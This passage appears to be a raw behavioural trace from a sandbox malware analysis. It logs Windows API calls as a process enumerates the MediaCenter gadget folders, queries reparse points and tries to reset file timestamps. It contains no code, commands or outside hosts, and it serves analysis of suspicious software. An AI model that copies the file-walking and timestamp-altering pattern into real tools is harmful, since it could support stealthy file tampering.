ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.668] GetLastError () returned 0x12 [0080.668] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.668] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.668] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.669] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0080.669] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0080.669] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.669] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.669] GetLastError () returned 0x12 [0080.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248598) returned 1 [0080.669] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12486a0) returned 1 [0080.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248490) returned 1 [0080.669] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248490 [0080.669] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.671] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.671] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.671] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.671] NtClose (Handle=0x174) returned 0x0 [0080.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248490) returned 1 [0080.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248490 [0080.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12486a0 [0080.672] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.672] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.672] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248598 [0080.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5e30 [0080.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248ac0 [0080.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.674] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0 [0080.674] GetLastError () returned 0x12 [0080.674] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.674] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.674] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.674] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.674] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0 [0080.674] GetLastError () returned 0x12 [0080.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12486a0) returned 1 [0080.674] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248598) returned 1 [0080.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248490) returned 1 [0080.675] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0080.675] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248490 [0080.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.676] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.676] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.676] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.676] NtClose (Handle=0x178) returned 0x0 [0080.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248490) returned 1 [0080.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248490 [0080.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248598 [0080.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mousedown.png", cAlternateFileName="")) returned 1 [0080.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12486a0 [0080.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5e50 [0080.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248bc8 [0080.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.681] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc903c050, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc903c050, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mouseout.png", cAlternateFileName="")) returned 1 [0080.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5e70 [0080.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248cd0 [0080.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mouseover.png", cAlternateFileName="")) returned 1 [0080.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5e90 [0080.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248dd8 [0080.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.683] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mousedown.png", cAlternateFileName="")) returned 1 [0080.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5eb0 [0080.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248ee0 [0080.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.684] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mouseout.png", cAlternateFileName="")) returned 1 [0080.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5ed0 [0080.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248fe8 [0080.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x60c0) returned 0x124a7c8 [0080.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12312f0) returned 1 [0080.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.686] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mouseover.png", cAlternateFileName="")) returned 1 [0080.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5ef0 [0080.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12490f0 [0080.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.687] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_play.png", cAlternateFileName="")) returned 1 [0080.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5f10 [0080.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) 